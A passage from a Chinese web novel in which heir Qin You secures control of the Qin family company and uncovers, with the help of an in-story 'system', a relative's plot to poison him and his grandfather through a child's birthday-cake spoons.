偏偏,亲手送出智瀚这根救命稻草的人,是严副总自己。
“给秦桦打电话!”
严经山双手砸向桌面,压着怒火,“不论如何,必须找到一个足够让锋达心动的方案!”
“……”特助犹豫着,本想劝说,可看到严经山眼里的血丝,还是低头应是。
然而事情发展和他猜想中一样。
他们拿出的方案,全方面处处不如人。
不论秦氏,还是钧闵,都是选中秦游和严庭深作为主导,负责这场联合投资。
而锋达科技,也果然飞快倾向于两大巨头一起抛出的橄榄枝。
三方合作有条不紊地顺利推进着。
到正式签合同的那一天,听闻严庭深亲自去了锋达,特助又走进老板的办公室。
说完消息,看着窗前严经山无力颓败的背影,特助放下文件,默默退了出去。
今天过后,任谁都会清楚。
这场争夺继承权的博弈,严经山一败涂地。
偌大的钧闵集团,最终还是严庭深的战利品。
—
与此同时。
上午十点。
崔凌跟着自家老板,准时来到锋达科技所在的写字楼,和钧闵的人碰头。
他们到楼下时,一行人正从门内出来。
一群西装革履的男男女女跟在当前的年轻男人身后,时不时出声提议,被年轻男人冷着脸尽数否决,也都不敢多话。
直到出了门,看到迎面走来的人影,对方立刻拉下了脸,揣着怨气走过来。
离得近了,崔凌立刻认出来人是谁。
“齐总。”打过招呼,崔凌请示过秦游,带人先走一步。
其余众人也识趣地跟了上去,原地只剩秦游和严庭深,以及落后半步的裴笙。
“我真是服了……”
齐晏对身后摆了摆手,示意他们先走,再看向面前三人的眼神带着控诉,“这笔生意我之前都快谈妥了,你们竟然玩这一招,而且还不带我一起玩,太不厚道了吧?”
裴笙抬腕看表:“齐总,你回家不着急,但我们赶时间。”
“……”齐晏被噎得失语,也失去和他计较的力气,“祖宗,您请您请……”
裴笙看了看他,继续跟在严庭深和秦游身后,转身上楼。
商务场上,没什么厚道一说。
各凭本事,就是最良性的竞争方式。
假如润熙做成这笔生意,同样不会让利钧闵。
所以秦氏和钧闵联手,齐晏也只是口头假意抱怨两句,不会真的郁结在心。
没多久,在锋达员工的引路下,三人到了锋达所在的楼层,走进会议室。
由于流程全部走完,该谈的也早已经确定,签合同的过程没有任何曲折。
事后的庆功活动,秦游和严庭深都只掏了腰包,没去参加。
不过第二天回了公司,秦游还是没能躲过秦恒钟特意为他办的庆功宴。
让他没想到的是,借这次联合投资的成功,秦恒钟直接当着众多高层的面,宣布从下个月起,将由他担任秦氏总裁的职位。
听到这个任职,在场所有人心思各异。
众人都明白,这代表秦恒钟开始正式把秦氏转交到秦游的手里。
康明和崔凌最先过来恭喜。
不多时,周围渐渐围得水泄不通。
“秦总。”“秦总这次的融资真是高明啊……”
路过的秦艺听着众人恭维,走到斜对面,放下酒杯,摔进身后沙发。
见秦桦也一言不发,看着宴会中心的方向,她突然出声:“没想到大哥不在,他儿子反而比他更有商业头脑。找了个严家的人谈恋爱,还能顺便和钧闵深度合作,加上一出手就这么不同凡响,难怪老爷子被气得够呛,也全都忍下了。”
秦桦握紧手里的酒杯:“是啊。”
秦艺收回视线,意有所指:“这次联合投资一出,老爷子满意得恨不得把股份全送给他,瞧,这么年轻的秦氏总裁,连大哥都比不上。看来从此以后,有些事也该消停了。”
秦桦转眼看她。
秦艺还是事不关己的样子。
家里被抓得只剩下一个,她难免比以前多了几分惆怅,只是不多,也总是在脸上待得不长。
她看着灯光下众星捧月的秦游,再看周围随时待命的安保,又说了一句:“省得像我一样难堪。也省得比我更凄惨。”
秦桦皱起眉:“你什么意思?”
“字面意思。”
秦艺耸肩,又从沙发上起身,摆手离开,“替我跟老爷子说一声,功臣的庆功宴我来过了。”
秦桦看着她的背影,眼神变幻莫测。
秦艺从小就是这样,说话永远有所保留,就算她看出什么,也绝不多费口舌,哪怕是三言两语这么简单的事。
原因,当然是她不想惹火烧身,不愿意沾染一点麻烦。她关心的只有自己的利益。
但只从这几句话,他听不出秦艺到底是不是看出了什么,又看出了多少。
“——哇!”
不远处爆发的一阵欢呼声打断了秦桦的思绪。
他看过去,看到在簇拥之下游刃有余的秦游;看到平常不苟言笑的老爷子,拉着秦游交谈甚欢——他的眼皮神经质地跳了一下。
比大哥更有商业头脑?
秦氏最年轻的总裁?
秦桦喝干净杯子里的酒。
没错。
事实就摆在眼前。
秦游的天赋有目共睹;老爷子对秦游的满意,也溢于言表。
一切好像盖棺定论。
可认命不是秦家的作风。
不试一试,怎么知道能不能逆天改命。
秦桦盯着对面走出人群的秦游和秦恒钟,一个念头正在疯长。
他能成功一次,再来一次,结果也未可知。
—
另一侧。
秦恒钟和秦游一起走进休息室。
跟在两人身后的项海峰关了门,留在门外。
“坐。”秦恒钟走到沙发前,对秦游说,“我问了康明,后续的计划,你已经有方案了?”
闻言,秦游随手拿出手机,找到文件。
秦恒钟抬手接过,大概看了一遍,眼底的满意到了极点,带着几分惊叹。
这个方案的思路,有些连他都意想不到,却一针见血,精确的稳准狠,就是执行起来有些难度,可无疑是收益最极致的方式。
“说一说,”秦恒钟又反复看了看,忍不住看向秦游:“你的想法是什么?”
“想法?”
秦游笑说,“要谈这个,有个人比我更合适。”
秦恒钟皱眉:“为什么,这个方案不是你做的?”
秦游道:“一半一半。”
秦恒钟才展颜:“哦?这么说,公司里还有这样的人才,是崔凌,还是康明?”
秦游接回手机:“我打个电话给他。”
秦恒钟点头。
联合投资过后,他对秦游已经没有半点质疑。
现在秦游功成不居,主动提出方案有第二参与人,品性也还是一如既往,心地纯善。
这么做也有好处。
至少知人善任,论功行赏,手底下的人都会心服口服。
看着秦游拨通电话,秦恒钟又说:“如果在外面,就让他直接进来谈吧。”
秦游看他一眼,索性打开免提:“听见了吧。”
通话正在继续。
秦恒钟还没看清屏幕。
扬声器里传出一道熟悉的声音。
“抱歉,秦老。”
冷淡,沉峻,带着从容有度的礼貌。
“我正在开会,如果您方便,我可以在二十分钟后出发。”
是严庭深。
秦恒钟面上的欣赏刹那不见。
他黑着脸看向秦游,缓缓坐正。
秦游笑意不改,挑眉问他:“怎么样,您方便吗?”
“……”秦恒钟瞪着秦游,久久没有说话。
第 106 章 最终剧情节点已解锁。……
通话里, 秦恒钟最终还是委婉表达了他的意思。
不方便。
言外之意,是不想见。
见他也没有细谈的意思,秦游和严庭深聊了几句, 挂了电话。
下一秒, 秦恒钟沉声道:“你知不知道,这里面有很多数据,都是公司的保密资料?”
秦游道:“放心, 他不会外传。”
“……”秦恒钟直觉心脏隐隐作痛,他抬手捂胸, 有心怒斥, 又不知从何斥起, “秦游, 你和严庭深的感情再好, 有些东西也该有所保留, 这是底线, 难道你不明白?”
别说正在交往的朋友, 就是真正结婚生子的爱人、哪怕骨肉至亲, 彼此间也不是绝对坦诚相待。
何况秦游和严庭深各自背负身家, 一言一行都代表家族利益, 但凡严庭深有什么想法,以秦游这样和盘托出的信任,最后吃亏的还是秦游自己。
秦游从善如流:“我明白。”
见他态度还算良好, 秦恒钟勉强松开皱起的眉头:“以后不要再这么大意了,你总该为自己考虑。”
秦游道:“好。”
秦恒钟正满意。
忽地,他又皱起眉,狐疑地看向秦游:“你真的肯答应?以后不会再让严庭深插手秦氏的事?”
秦游笑了笑,只说:“您怎么想都可以, 高兴就好。”
“……”秦恒钟面无表情地盯着他,没多久,闭眼抬手指向门口,“你给我出去。”
秦游先起身,才又笑说:“这份方案,您仔细看过,就不会有太多顾虑。”
秦恒钟当然听出这句话的意思。
他刚才看了计划书,制定方案的人完全是以秦氏的利益出发,否则他也不会在第一时间想到崔凌或是康明,而不是严庭深。
只从这份方案来看,严庭深更像是秦氏的负责人,丝毫没有顾及这次联合投资的成果,是秦氏和钧闵分而食之。
就冲这一点,秦游会这么信任严庭深,情有可原。
不论将来怎么样,这次的方案,严庭深绝没有藏私。
但想到严庭深年纪轻轻就胸有城府,秦恒钟对此还是十分谨慎:“秦游,知人知面不知心。”
“这么简单的道理,他也明白。”
秦游道,“如果他对秦氏真的有想法,何必多此一举,这么早就暴露?”
秦恒钟一时无言。
他承认秦游的说法没错。
严庭深真的想拿下秦氏,就不会在这时候插手秦氏内部事务,引起他的怀疑。
最好、也最简单的方法就是等。
照这个情形发展下去,等秦游随手送过去就是了。
“当然,您不放心也合情合理,既然如此——”
“你住口。”秦恒钟黑着脸打断秦游又想当甩手掌柜的话,“行了,我累了,你出去吧。”
秦游不免可惜,转身出了门。
只是没走多远,他迎面和秦桦遇见。
秦桦笑着问:“秦游,你爷爷在里面吧?”
秦游颔首。
秦桦没有多聊,也对他笑着点点头,径自去了休息室。
秦游没去在意。
之后他离开宴会厅,回了苍苑。
没过两天,临近下班时间,秦游还在办公室,接到老宅打来的电话。
是秦恒钟的声音,带着不易察觉的落寞:“明天是你爸的生日,回来一趟吧。正好给小继办个生日会,就当庆祝一下。”
秦继,秦桦最小的儿子,过了生日应该也只有三岁。
一个没有感情的亲生父亲。
一个连人都认不清的小朋友。
这种场合,秦游没兴趣去凑热闹。
然而他正要拒绝,久违的消息提示音突然响起。
【最终剧情节点已解锁。】
【请宿主参加生日宴,并设法解除或躲避危机,自行选择留在或离开秦家。】
【请注意,宿主已顺利度过全部主线剧情,最终剧情节点结束,奖励将开始结算。即任务完成,则宿主不再受到约束。】
秦游一顿。
系统也跳出来:【天呐宿主,你的结束剧情终于解锁了!】
看到胜利的曙光,它兴奋地解释着。
结束剧情,指的是每一任紧急救援司感情分部的宿主在获得自由前,系统所能做的最后一件事。
宿主帮系统解决问题,系统帮宿主尽可能解决最大的麻烦,如果任务能顺利完成,这就是宿主和系统之间的最后一次互惠互利。
【只要这个任务完成,宿主就可以随心所欲去过自己想要的生活啦!】
系统激动地畅想未来,可说着说着,又难过起来,【呜呜呜我们也会分开……】
秦游听着它的伤感语录,先和秦恒钟通完电话,才看向任务详情。
系统还在啜泣:【宿主,你最近每天把我关进小黑屋,快要分别了,能不能别关了……】
【……】秦游道,【原文明天会发生什么?】
系统立刻被转移注意:【从原身记忆中提取,明天生日宴过后,配角秦恒钟将心脏病发,抢救无效身亡。】
秦游皱眉。
【具体情形,原身没有参与,无法获知。】
系统接着说,【三天后,原身决策失误,导致公司资金受损,职位被董事会罢免,后被赶出秦家。】
秦游了然。
的确是属于的“秦游”最终剧情。
放在原剧情里,失去唯一的靠山,原身独木难支,自然会任人宰割。
不过,秦恒钟心脏病发,就在明天?
秦游心念游转。
最近没有异常状况,会是什么突发事件,让秦恒钟难以负荷。
系统在提议:【宿主,我看那个秦恒钟对你还可以,要不你救救他吧,死了怪可怜的……】
秦游不置可否。
这时,电话铃声又响起。
看到屏幕上亮起的来电显示,他看过时间,从桌后起身,准时下班。
到第二天,秦游和严庭深一起来参加这场生日宴。
大概想到这场宴会原本的主角,秦恒钟的情绪始终不高,看到严庭深也到场,他没说什么,还交代秦游好好招待。
秦游进门后先看了场内安保,示意项海峰加派人手照顾秦恒钟,之后转向是全员到齐的宾客。
表面是一个孩子的三岁生日宴,邀请的客人无一例外,都是秦家人。
但秦恒钟年纪越大,越在乎起所谓的亲情,近来每次家宴,都喜欢团圆的戏码,这次秦桦主办,更不会忘了这一点,秦家的叔伯长辈都受邀在列,显得场面热闹非凡。
在场只有两个人,被众人刻意渲染出的这份热闹排除在外。
一个是和秦家没有丝毫血脉关系的严庭深。
另一个,是前不久才认回秦家,却也没改姓氏的康明。
由于上次得罪了秦桦,他这次来到秦宅,连虚情假意的客套都没得到,独自坐在一角,备受冷落,神色也略有恍惚,似乎心事重重。
秦游正看过去,耳边冷不丁传来一句。
“心疼了?”
秦游转眼看向严庭深。
严庭深淡声道:“心疼就去安慰,看我干什么。”
秦游笑了一声,还没开口,身旁有人走近。
“秦游,”秦桦端着酒杯过来,语带感慨,“不论如何,今天是你爸生日,你爷爷心情不太好,你有时间的话,多陪陪他吧。”
秦游唇边带笑,和他碰杯。
严庭深眉间却微动。
秦桦走后,他看向秦游:“今天是你爸的生日?对不起,我——”
“没关系。”
秦游道,“我没告诉你,就是因为这件事不重要。”
闻言,严庭深垂在身侧的手动了动,碰到秦游的手背,他顿了顿,又收回来。
今天,秦游所有亲朋都在场。
尤其秦老,至今还不算接受他和秦游的关系——
“又在想什么?”
听到秦游的声音,严庭深还没开口,收回的手忽而被温热的掌心包裹。
他看回秦游。
秦游笑了笑,指腹摩挲他缓缓收紧的手:“有我在,你可以什么都不去想。”
严庭深看着秦游,深邃的眸光闪熠跳动。
听完这句话,又缓缓十指紧扣:“好。”
话落,他正要和秦游往前,余光不经意扫过角落的方向,眉间虽然微蹙,却没隐瞒:“他有事找你。”
“嗯?”秦游顺着严庭深的视线看过去。
康明已经起身走向两人。
先后对上两人的目光,他脚下停了停,但似乎下定了决心,他没有犹豫,还是继续走了过来。
“……哥。”康明打着招呼,“严总。”
秦游道:“什么事?”
康明忍下左右环顾的念头,迟疑地问:“这件事,能不能单独跟你谈?”
严庭深沉眸看他一眼,正要松手转身,才察觉秦游手上的力道没有松开。
“不用。”
秦游道,“我的事,以后告诉他也一样。
严庭深倏地回眼。
看到秦游仍然平淡的侧脸,听着这句随意却理所应当的话,他微抿薄唇:“秦游,我可以回避。不要紧。”
秦游只噙笑握了握他的手,对康明示意:“走吧,去书房。”
康明点头,跟在两人身后,来到书房。
可在沙发前落座,他握着拳搭在腿面,反而开始踌躇不决。
秦游道:“不方便?”
“不是……”
康明说着,深深呼吸,也没有拐弯抹角,终于把话直接说出了口,“哥,我是想说,你以后……最好和秦桦保持距离……”
秦游挑眉:“原因。”
提及这一点,康明又踌躇着,欲言又止。
他难得这么吞吞吐吐,劝说的话却坚决笃定。
秦游看得出来,他一定有充分的理由,且这个理由,即使让他左右为难,也不得不说。
秦游记起解锁的新任务。
康明之前没有过这种表现。
正巧在今天,剧情中秦恒钟心脏病发的这一天,他突然对秦桦满怀戒备。
也许,这个让康明为难的原因,就是危机的源头。
“我……”
康明低着头,用力攥着双拳,“我知道,这件事说出来匪夷所思,你可能不会信我,可是——”
“如果他不信你,”严庭深淡声打断了他的话:“你今天没有开口的机会。”
康明一愣。
严庭深道:“说吧。你发现了什么。”
康明看了看他,又下意识看向秦游。
秦游也道:“说说看。”
康明抿着嘴唇,点了点头。
可能被刚才的话点醒,再出声,他的语气恢复许多。
他再次深吸一口气,言简意赅:“……我发现,当年总裁突然病重,很有可能是和秦桦有关。”
秦游思绪微动。
随即感觉到手掌被轻轻握紧,他转脸对上严庭深的双眼,笑说:“放心。我没事。”
严庭深握住秦游的手,力道没有丝毫放松:“我知道。”
他很了解秦游的心性。
秦游当然不可能被一个消息搅乱心神。
但他希望秦游也能知道,这样的消息、一切突发状况,从今以后,不需要再独自承担。
“你也放心。”
他告诉他,“一切有我在。”
秦游听完,眼里融进笑意。
他把严庭深的手牵到唇前,轻吻一记:“好。”
第 107 章 我可以教你。
康明坐在两人对面, 低头喝水,等两人话完,抬眼时见秦游看过来, 才放下水杯。
秦游道:“这件事和秦桦有关, 你有证据?”
“我……”康明微微坐正,“我没有实际性的证据……”
秦游看他一眼:“把话说清楚。”
话已经出口,康明没什么好隐瞒, 他回道:“是这样的,昨天晚上六点半, 董事长和我去医院看望总裁, 到七点钟, 董事长让我留下——”
说到这, 他还是看了看秦游, 才继续说, “陪总裁说说话。大概半个小时, 我去了一趟卫生间, 还没出去, 听到秦桦从外面进来, 还清了场。”
闻言, 秦游已经了然。
今天是原身父亲的生日,秦恒钟昨晚打电话时,语气就郁郁寡欢, 自然会想去医院见人一面。
至于康明,既然认祖归宗,秦恒钟希望自己的儿子在这种时候,能有亲人陪在身边说几句话,人之常情。
“他在医院有眼线, 但贴身照顾总裁的人都是董事长亲自安排,他只知道董事长来了又走,不知道我还在。”
康明回想昨晚听到的声音,神经依旧紧绷,“清场之后,他说了很多话,其中一句,让我觉得,有必要及时提醒你……他……”
对上他的目光,秦游淡声道:“慢慢来。他说什么。”
康明抿了抿唇,低声重述:“他说……大哥,这段时间你应该很寂寞吧,放心,秦游马上就来和你作伴。”
严庭深握住秦游的手倏地收紧,眼神凛然。
秦游安抚地回握着他,对康明说:“除了这句话,还有什么?”
康明摇头:“其他都是些无关紧要的抱怨,我在卫生间里,也看不到他做了什么。”
秦游敛眸。
按原剧情的走向,秦恒钟在今晚病发身亡,如果康明的话全部属实,那发病原因一定和秦桦有关。
毕竟他和康明在原文没有任何交情,康明自然会把这个消息告知更相近的秦恒钟。
但兄弟阋墙,在高门大院都不算新鲜事。
秦恒钟为此气愤,无可厚非,又怎么会被刺激到这个地步。
“我明白,空口无凭,我也没有证据,不能指认秦桦,可我绝没有骗你。”
见秦游没再开口,康明的神经一时绷得越紧,“……就算你不信,也请你以后对秦桦多加防范,他可能会对你下手。”
来参加这场生日宴之前,他一直不确定该不该把这件事告诉秦游。
秦桦是秦家人,血浓于水,而他虽然得到承认,却也只是被看不起的私生子。
一个私生子的话,和二十六年的小叔相比,秦游是会相信他,还是会认为他在挑拨离间?
要知道,当初秦游因病休养,秦桦曾举荐他暂代过副总经理,在公司一些人眼里,他还是秦游继承秦氏的竞争对手。
就像他说的,他没有证据,一旦秦游误会他是为了私利在编造,那他毫无疑问会变回一无所有。
最轻的后果,也是秦游对他心存芥蒂,从此不再信任他。
不论哪种风险,他都根本承担不起。
相比较而言,保持沉默是最安全的做法。
因为除了他自己,没人会戳破这个秘密。
唯一会受到伤害的,只有秦游。
康明攥着扶手。
辗转反侧一夜,直到刚才,看到秦桦若无其事地扮演长辈,看到秦游对秦桦毫无戒备——
看到这些,他还是做不到冷眼旁观。
这个秦家,是秦游率先接纳了他。
哪怕董事长,其实他看得出来,也从不是真正把他看作可以和秦游相提并论的孙辈。
从理性上,他理解董事长的做法。以他的出身,得到的已经很多。
可理性偶尔被感性支配,他总是会想起秦游对他的态度,总想起那两句话。
秦游说,私下里,不用叫我秦总。
他还说过,你原本就是我的弟弟。
康明垂下目光。
这个唯一接纳他的哥哥,不仅不吝啬于释放善意,甚至交付给他绝对的信任。
和钧闵联合投资这么重要的项目,几乎交给他全权负责,连他自己都感到不可思议。
所以,对这样的秦游,他怎么能恩将仇报。
何况总裁至今昏迷不醒,看秦桦的阴狠程度,势必会对秦游造成生命威胁。
这么严重的后果,他更加无法承担。
“哥……”康明还想再说点什么,让他的话听起来不那么像信口开河,“我——”
“好了。”
秦游听出他语气里的干涩,笑说,“不论如何,谢谢你。”
康明一怔:“你……真的信我?”
秦游反问:“为什么不信?”
康明失语。
不信的理由,秦游有千万个。
这时,门外传来敲门声。
项海峰隔着房门,提高音量:“秦总,切蛋糕了,董事长请你们过去。”
康明看向秦游。
秦游牵起严庭深的手。
从沙发前起身,他顺手拍了拍康明肩膀:“说出这句提醒,你很有勇气。”
康明又是一怔。
他没想到,只是几句话的功夫,秦游已经看穿他辗转一夜的实质,也再一次,给他新的肯定。
“放心,剩下的交给我。”
秦游道,“这件事,我会查清楚。”
语气是独属于秦游的随性和笃定。
还有……
对他无条件的偏信。
今天之前,这种感觉,他从没体验过。
康明怔怔站在原地,看着两人并肩离开的背影,片刻,才低头缓缓笑了。
他再抬头,深深呼吸着。
第一次,在这座秦宅,他感受到自在的空气。
仿佛真的可以融入,仿佛他真的是这个“家”的一员,连曾经无时无刻的拘束都在减轻。
直到眼中的两道背影走到门口,康明长长吐出一口浊气,抬脚快走几步,追了上去。
—
秦游没注意身后的动静。
和严庭深一齐回到场中,众人也都围在蛋糕塔前。
三岁的秦继被秦恒钟抱在怀里,双手握着长刀,颤颤巍巍地切下第一块蛋糕。
喧闹热烈的氛围里,秦恒钟放下小孙子,看着蛋糕,眼神微黯。
转眼看到秦游和严庭深,他正要说话,视线一扫,接着看到两人淋了胶水似的手,他眼神里的黯淡当即消散一空,盯着秦游看了半晌。
秦游笑问:“怎么?”
“……”秦恒钟懒得再跟他说什么,转身走向一旁。
秦游也没去追问。
只是下一秒,腿上微重,他低头,看到秦继正小心端着一小碟蛋糕,抬手轻轻拍他的腿。
“大哥,”秦继穿一身小西装,脸上还有婴儿肥,奶声奶气地叫了人,双手捧起蛋糕碟,满脸期待地送给他,“请你吃我的生日蛋糕!”
秦游笑了笑,摸了摸他的脑袋,单膝虚点地面,蹲身接过他递来的蛋糕:“谢谢。”
秦桦或许罪大恶极,三岁的孩子却还是懵懂纯粹的年纪,没必要迁怒。
不过,蛋糕这种入口的东西,还是不动为妙。
秦继摇头:“不客气!”
和他的声音一起响起的,还有系统的提醒。
【经检测,餐勺上附有成分异常药物,服用后若未在一周蛰伏期内察觉,将对神经系统造成不可逆转的创伤,导致意识丧失,昏迷不醒。请问是否提取?】
秦游微顿。
他看向眼前这个天真无邪的孩子。
但这双眼睛里,没有丝毫阴霾的痕迹。
【提取。】
【提取已完成。】
系统办完正事,啧啧称奇,【天啊,宿主,竟然让三岁的小孩子对你下毒,秦桦这个配角真是太丧心病狂了!】
秦游难得赞同系统的话。
按康明的说法,假使下毒的人正是秦桦,那么利用孩子、甚至是亲生儿子,去做这种阴狠的事,的确过于不择手段。
也难怪,原身父亲身边有最顶级的安保,还是没能躲过一劫。
秦继倚在秦游手臂,已经帮他拿起餐勺,挖了一块蛋糕送到他面前:“大哥,你吃!”
秦游垂眸扫过,笑意不改,问他:“你没见过我,怎么知道我是谁?”
秦继乖巧地回答:“爸爸告诉我的,他让我要听大哥的话。”
严庭深立在秦游身后,听着两人一问一答,再看秦继喂蛋糕的动作,他眉间微有痕迹,抬手按在秦游肩膀,稍稍用力。
秦游拍了拍他的手,示意他放松,含笑吃了已经递到唇前的蛋糕。
秦继眼睛亮晶晶的:“大哥,好吃吗?”
秦游颔首:“不错。”
秦继“嘿嘿”笑着,挺起小小胸脯,把勺子放回碟子里:“多吃一点,我还有好多呢!”
秦游起身,又揉了揉他的发顶:“好。”
秦继抱着被揉乱的发顶,仰头又说了几句,才转身跑开了。
严庭深蹙眉看向秦游,忽而问:“你喜欢孩子?”
除了这个理由,他找不到秦游会这么疏忽的原因,在秦桦主办的宴会,把入口的东西,吃得这样随意。
秦游把手里的蛋糕递给侍者,闻言失笑看他:“孩子?你想到哪儿去了?”
严庭深抿唇。
“不过——”
听到这句转折,严庭深眸光微深,看着秦游。
秦游噙笑把人拉近,看过他似乎冷淡的脸,压低嗓音,轻声说:“——如果你能生,说不定我会喜欢。”
脸侧拂过的热流擦过耳畔,烧得火热。
严庭深脊背微僵,随即对上秦游津着笑意的桃花眼,他正要移开视线,记起什么,忽又顿住,语气似乎如常:“那你应该先和秦继一起补课。”
秦游挑眉:“补课?”
严庭深看他一眼,也倾身,在他耳边淡淡说:“全程体外,生不出孩子。”
秦游转眼。
严庭深和他对视,面色不改,点漆眸光仍然如墨深邃,看不出丝毫异样:“记起来了吗。”
秦游听完,笑意溢出眼底,堆在唇边。
但他的沉默显然不足以让人满意。
喧嚣的宴会厅内。
耳边放轻的沉峻嗓音却最清晰。
“忘了也没关系。”
严庭深说着,意有所指,“我随时,可以教你。”
第 108 章 夜还长。
四目相对。
秦游正笑着, 只是还没说点什么,听到不远处又传来秦继的声音。
“爷爷,”奶声奶气的话里带着一模一样的期待, “也请你吃我的生日蛋糕!”
秦游眸光微动, 按在严庭深腰后,转向身侧。
——不远处,秦继捧着蛋糕站在秦恒钟身前, 见秦恒钟低头,还垫着脚往上举了举。
严庭深就近看到秦游的神色, 不由问他:“怎么了?”
秦游先说:“跟我来。”
他牵起严庭深的手, 走了过去。
严庭深不疑有他, 也没再追问。
两人走近时, 秦恒钟已经抱起秦继。
秦继挖着蛋糕, 看到秦游走来, 还高兴地打了招呼:“大哥。”
秦恒钟不咸不淡地看过两人又黏到一起的手, 掂了掂怀里的秦继, 把孩子往上抱了抱:“你大哥有别人陪, 用不着你献殷勤。”
秦继没听懂, 连忙把蛋糕小心护在怀里, 接着挖了一块,喂到秦恒钟嘴边:“爷爷吃。”
秦游笑了笑,脚下没停, 只和严庭深从这一老一小身前经过,到另一侧的沙发前坐下。
【提取已完成。】
系统报告完,又开始发表感想,【宿主,这个秦桦也太心狠手辣了, 对你下手就算了,竟然还要杀害亲生父亲!这次提取的药物剂量,伤害神经系统,会直接导致心脏负担急剧加重,稍微受点刺激,病发是肯定的呀!】
秦游看向秦恒钟。
对方吃过秦继喂的蛋糕,没多久有人上前,他随手把孩子递给管家,转身要走时,看到了身边多出的项海峰,当即皱起眉头,说了两句什么。
项海峰一时两难,下意识看向秦游。
秦游略一颔首。
已经确定秦恒钟病发的原因,没必要再做多余的安排。
项海峰松了口气,于是挥手带着兄弟们结束了这次临时任务,他自己则回到秦游面前,汇报刚才的行程情况,表示没有任何异常。
从表面看,的确如此。
秦游看他一眼,只道:“去说一声,请董事长忙完之后,立刻到书房,就说我有事要谈。”
立刻?
项海峰也看了看他,点头说:“好的。”
秦游已经和严庭深起身。
两人重回到书房,之后房门紧闭,隔绝室外的一切嘈杂。
下一秒,严庭深的声音响起:“现在可以说了吗。”
秦游看向他。
严庭深又问一句:“你有什么瞒着我?”
秦游轻笑:“看出来了?”
他先拉着严庭深坐下,才补充,“我不是有意瞒着你,外面人多眼杂,不方便。”
严庭深道:“跟你要和秦老谈的事有关?”
“嗯。”
秦游没有拐弯抹角,“是秦继的那两块蛋糕,里面有毒——”
闻言,严庭深倏地坐正,握住他的手狠狠收紧,面冷如霜,语气沉寒,滚着一瞬成形的心悸:“你说什么!”
秦游当即反手把他握紧,也按住他起身的动作:“放心,我没中毒,老爷子也没有。”
严庭深蹙眉,但看他神色如常,语气才放缓:“不论如何,先去医院检查。”
“不用了。我确定没中毒。”
秦游用更有理据的说法让他安心,“准确来说,不是蛋糕有毒,是餐具有毒。今天宴会的餐具有人盯着,有毒的只有这两件,已经换下去了。”
严庭深眉间的痕迹却没消散。
“否则我怎么会吃下那块蛋糕?”
秦游笑说,“难道你不相信我的判断?”
严庭深一言未发。
他当然不是不信秦游的判断,但亲眼看见秦游吃下那块蛋糕,不确定秦游的身体状况,他怎么能放心。
“我真的没事。”
秦游道,“你认为我会拿自己的命开玩笑吗?”
严庭深沉声道:“你现在就在用自己的命开玩笑。”
秦游无奈:“机会难得,我们这次只需要将计就计,就能抓到幕后黑手。现在去医院,是打草惊蛇。”
严庭深说:“这些和你的安危相比,根本不值一提。”
“你确定?”
秦游挑眉,“这次下毒是被我提前发现,那下次呢?”
严庭深眉间又蹙起:“你想抓幕后黑手,有很多安全的方法。”
“这是最简单的一种。见效也最快。”
秦游问他,“你也不希望这种情况再发生吧。”
严庭深沉默良久。
秦游捏了捏他的耳垂:“我答应你,我可以去做个检查。不过要等两天。”
“今晚。”
严庭深一锤定音,“我可以等到宴会散场。去严家的医院,走我的通道,不会走露风声。”
“……”秦游顿了顿,对上他的眼神,无奈同意,“好,你说了算。”
“我说了算?”
听到这句话,严庭深停下动作,凝眸看向秦游,“那这件事,你为什么不和我商量?”
秦游也沉默片刻:“我是不希望你担心。”
系统和任务都不方便解释。
何况在系统提醒之前,他也不知道这场“危机”的具体内容。
严庭深说:“如果你不希望我担心,就应该让我处理。”
秦游作势正色:“你说得对。再有下次,一定让你处理。”
严庭深移开视线:“既然不想让我插手你的家事,没必要勉强。”
听他的语气,秦游笑了一声,并指转回他的脸,倾身细看他的神色:“怎么生气了?”
听到笑声,严庭深回眸看秦游一眼,又松手起身:“没有。”
秦游抿笑看他仿佛不为所动的侧脸,手上稍用力,本想把人拉回身旁,结果人不配合,再加点力气,不料人影直直跌坐到怀里。
“……放手。”严庭深没看秦游,“我要安排医院。”
秦游揽着怀里动也没动的恋人,闻言失笑出声,见他转眼,又正色轻咳,抬手扣在他腰间:“说清楚再走。”
严庭深看着他:“说清楚?”
秦游笑说:“污蔑我不让你插手我的家事,这可是欲加之罪。”
严庭深说:“这是事实。”
秦游道:“检查宴会用品,别说你没在做。”
严庭深微蹙起眉:“我——”
“我只是运气好,安排的人发现餐具有问题。”
秦游挑眉打断他,“这算什么家事?”
严庭深听他说完,反问:“只是这个原因?”
“你以为是什么原因?”
秦游想起什么,“比起这个,之前严家发生的事,应该更能达到家事的标准吧?”
严庭深顿了顿,回眼看他。
秦游回想:“我记得,当初你自始至终瞒着我,如果不是严老——”
话到一半,一只手忽地抬起他的脸。
继而声音被柔软的唇瓣封堵,秦游笑着,任由严庭深动作。
直到吻毕,他从呼吸纠缠的间隙找回说话的权利,低声笑说:“对这个事实,你有什么话要说?”
“再有下次,你说了算。”
严庭深垂眸话落,低头在他唇上又吻一记,从他腿上起身,淡淡转到下一个话题,“你坐一会,我去安排医院。”
秦游笑意不减,看着他的背影走到一旁,也没再追究。
—
半小时后。
秦恒钟敲门后推开小书房的门,看到秦游和严庭深并肩站在窗前欣赏夜景,他随手关了门。
“你还有什么事要谈?”
秦恒钟说着,走向沙发,“联合投资的事,你们两个自己看着办吧。”
秦游回身,先问:“药带了吗?”
“……”秦恒钟站在沙发前,听到这第一句话就黑下脸,“你要干什么?”
秦游友善提醒:“先吃一片吧。”
秦恒钟正皱眉,见他神色不像开玩笑,问道:“你到底要说什么?”
秦游道:“和总裁有关。”
秦恒钟皱着眉:“你爸?”
秦游再提醒他一次:“尽量保持情绪稳定——”
“你住口吧。”
秦恒钟看着秦游,索性依言从口袋里掏出药,服了一片,才慢慢坐下,“有话就快说。”
秦游也开门见山:“总裁的病,还有治愈的可能。”
“……”秦恒钟瞳孔紧缩,还没坐稳,又猛地站了起来,“什么!”
秦游走到茶几前。
“你说的是真的?”秦恒钟连声追问,“你爸还有希望?告诉我,要怎么治——”
“情绪稳定。”
秦游打断他显然不再平稳的心情,“听我说完。”
“……”这一次,秦恒钟没有异议,他深吸一口气,按在胸前,“你说。”
秦游简单说明:“我查到一种毒素,作用是在人体潜伏一周后,对神经造成创伤,从而导致昏迷。”
秦恒钟沉声道:“你的意思是,你爸是中了这种毒?”
秦游向茶几示意。
桌上是他刚才让项海峰送进来的一份蛋糕。
秦恒钟随之看过去。
秦游告诉他:“这是秦继送给我的蛋糕。”
蛋糕不是同一份。
但只要毒素相同,就足够了。
秦恒钟问:“你想说什么?”
